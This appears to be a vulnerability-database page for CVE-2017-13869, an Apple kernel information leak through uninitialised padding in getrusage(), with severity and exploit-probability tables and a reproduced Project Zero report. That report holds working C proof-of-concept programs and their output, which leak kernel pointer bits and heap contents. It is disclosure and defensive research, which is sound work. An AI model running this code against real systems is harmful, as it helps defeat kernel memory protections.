CVE-2017-13869

Score / Severity

5.5

Medium

OWSAP

A01-Broken Access Control

EPSS

7.33%V4

Vector

Local

Published

2017-12-25
20h00 +00:00

Modified

2017-12-26
09h57 +00:00

Official links

CVE.org

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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CVE Descriptions

An issue was discovered in certain Apple products. iOS before 11.2 is affected. macOS before 10.13.2 is affected. tvOS before 11.2 is affected. watchOS before 4.2 is affected. The issue involves the "Kernel" component. It allows attackers to bypass intended memory-read restrictions via a crafted app.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-200	Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	5.5	MEDIUM	CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. None There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	nvd@nist.gov
V2	4.3		AV:N/AC:M/Au:N/C:P/I:N/A:N	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-04-18	1.37%	–	–	–	–
2021-09-05	–	1.37%	–	–	–
2021-11-14	–	1.37%	–	–	–
2021-11-21	–	1.37%	–	–	–
2021-12-12	–	1.37%	–	–	–
2022-01-09	–	1.37%	–	–	–
2022-02-06	–	–	4.85%	–	–
2022-04-03	–	–	4.85%	–	–
2022-06-19	–	–	4.85%	–	–
2023-03-12	–	–	–	0.22%	–
2023-05-21	–	–	–	0.22%	–
2023-10-08	–	–	–	0.22%	–
2024-02-11	–	–	–	0.22%	–
2024-03-31	–	–	–	0.22%	–
2024-06-02	–	–	–	0.22%	–
2024-12-15	–	–	–	0.22%	–
2024-12-22	–	–	–	0.9%	–
2025-01-12	–	–	–	0.9%	–
2025-01-19	–	–	–	0.9%	–
2025-03-18	–	–	–	–	6.21%
2025-03-30	–	–	–	–	8.2%
2025-04-08	–	–	–	–	7.33%
2025-04-08	–	–	–	–	7.33,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2021-04-18	–
2021-09-05	7%
2021-11-14	71%
2021-11-21	7%
2021-12-12	71%
2022-01-09	31%
2022-02-06	75%
2022-04-03	88%
2022-06-19	89%
2023-03-12	58%
2023-05-21	59%
2023-10-08	6%
2024-02-11	59%
2024-03-31	6%
2024-06-02	61%
2024-12-15	62%
2024-12-22	82%
2025-01-12	83%
2025-01-19	83%
2025-03-18	9%
2025-03-30	91%
2025-04-08	91%
2025-04-08	91%

Exploit information

Exploit Database EDB-ID : 43319

Publication date : 2017-12-10 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1405 For 64-bit processes, the getrusage() syscall handler converts a `struct rusage` to a `struct user64_rusage` using `munge_user64_rusage()`, then copies the `struct user64_rusage` to userspace: int getrusage(struct proc *p, struct getrusage_args *uap, __unused int32_t *retval) { struct rusage *rup, rubuf; struct user64_rusage rubuf64; struct user32_rusage rubuf32; size_t retsize = sizeof(rubuf); // default: 32 bits caddr_t retbuf = (caddr_t)&rubuf; // default: 32 bits struct timeval utime; struct timeval stime; switch (uap->who) { case RUSAGE_SELF: calcru(p, &utime, &stime, NULL); proc_lock(p); rup = &p->p_stats->p_ru; rup->ru_utime = utime; rup->ru_stime = stime; rubuf = *rup; proc_unlock(p); break; [...] } if (IS_64BIT_PROCESS(p)) { retsize = sizeof(rubuf64); retbuf = (caddr_t)&rubuf64; munge_user64_rusage(&rubuf, &rubuf64); } else { [...] } return (copyout(retbuf, uap->rusage, retsize)); } `munge_user64_rusage()` performs the conversion by copying individual fields: __private_extern__ void munge_user64_rusage(struct rusage *a_rusage_p, struct user64_rusage *a_user_rusage_p) { // timeval changes size, so utime and stime need special handling a_user_rusage_p->ru_utime.tv_sec = a_rusage_p->ru_utime.tv_sec; a_user_rusage_p->ru_utime.tv_usec = a_rusage_p->ru_utime.tv_usec; a_user_rusage_p->ru_stime.tv_sec = a_rusage_p->ru_stime.tv_sec; a_user_rusage_p->ru_stime.tv_usec = a_rusage_p->ru_stime.tv_usec; [...] } `struct user64_rusage` contains four bytes of struct padding behind each `tv_usec` element: #define _STRUCT_USER64_TIMEVAL struct user64_timeval _STRUCT_USER64_TIMEVAL { user64_time_t tv_sec; // seconds __int32_t tv_usec; // and microseconds }; struct user64_rusage { struct user64_timeval ru_utime; // user time used struct user64_timeval ru_stime; // system time used user64_long_t ru_maxrss; // max resident set size [...] }; This padding is not initialized, but is copied to userspace. The following test results come from a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0. Just leaking stack data from a previous syscall seems to mostly return the upper halfes of some kernel pointers. The returned data seems to come from the previous syscall: $ cat test.c #include <sys/resource.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> void do_leak(void) { static struct rusage ru; getrusage(RUSAGE_SELF, &ru); static unsigned int leak1, leak2; memcpy(&leak1, ((char*)&ru)+12, 4); memcpy(&leak1, ((char*)&ru)+28, 4); printf("leak1: 0x%08x\n", leak1); printf("leak2: 0x%08x\n", leak2); } int main(void) { do_leak(); do_leak(); do_leak(); int fd = open("/dev/null", O_RDONLY); do_leak(); int dummy; read(fd, &dummy, 4); do_leak(); return 0; } $ gcc -o test test.c && ./test leak1: 0x00000000 leak2: 0x00000000 leak1: 0xffffff80 leak2: 0x00000000 leak1: 0xffffff80 leak2: 0x00000000 leak1: 0xffffff80 leak2: 0x00000000 leak1: 0xffffff81 leak2: 0x00000000 However, I believe that this can also be used to disclose kernel heap memory. When the stack freelists are empty, stack_alloc_internal() allocates a new kernel stack without zeroing it, so the new stack contains data from previous heap allocations. The following testcase, when run after repeatedly reading a wordlist into memory, leaks some non-pointer data that seems to come from the wordlist: $ cat forktest.c */ #include <sys/resource.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> void do_leak(void) { static struct rusage ru; getrusage(RUSAGE_SELF, &ru); static unsigned int leak1, leak2; memcpy(&leak1, ((char*)&ru)+12, 4); memcpy(&leak2, ((char*)&ru)+28, 4); char str[1000]; if (leak1 != 0) { sprintf(str, "leak1: 0x%08x\n", leak1); write(1, str, strlen(str)); } if (leak2 != 0) { sprintf(str, "leak2: 0x%08x\n", leak2); write(1, str, strlen(str)); } } void leak_in_child(void) { int res_pid, res2; asm volatile( "mov $0x02000002, %%rax\n\t" "syscall\n\t" : "=a"(res_pid), "=d"(res2) : : "cc", "memory", "rcx", "r11" ); //write(1, "postfork\n", 9); if (res2 == 1) { //write(1, "child\n", 6); do_leak(); char dummy; read(0, &dummy, 1); asm volatile( "mov $0x02000001, %rax\n\t" "mov $0, %rdi\n\t" "syscall\n\t" ); } //printf("fork=%d:%d\n", res_pid, res2); int wait_res; //wait(&wait_res); } int main(void) { for(int i=0; i<1000; i++) { leak_in_child(); } } /* $ gcc -o forktest forktest.c && ./forktest leak1: 0x1b3b1320 leak1: 0x00007f00 leak1: 0x65686375 leak1: 0x410a2d63 leak1: 0x8162ced5 leak1: 0x65736168 leak1: 0x0000042b The leaked values include the strings "uche", "c-\nA" and "hase", which could plausibly come from the wordlist. Apart from fixing the actual bug here, it might also make sense to zero stacks when stack_alloc_internal() grabs pages from the generic allocator with kernel_memory_allocate() (by adding KMA_ZERO or so). As far as I can tell, that codepath should only be executed very rarely under normal circumstances, and this change should at least break the trick of leaking heap contents through the stack. */